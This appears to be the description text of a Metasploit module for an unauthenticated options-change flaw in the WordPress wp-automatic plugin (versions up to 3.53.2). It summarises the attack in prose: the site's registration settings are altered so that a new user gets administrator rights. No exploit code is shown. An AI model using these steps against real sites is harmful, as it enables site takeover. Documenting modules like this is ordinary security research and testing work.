|
|
This module exploits an unauthenticated arbitrary wordpress options change vulnerability
|
|
in the Automatic (wp-automatic) plugin <= 3.53.2. If WPEMAIL is provided, the administrator's email
|
|
address will be changed. User registration is
|
|
enabled, and default user role is set to administrator. A user is then created with
|
|
the USER name set. A valid EMAIL is required to get the registration email (not handled in MSF).
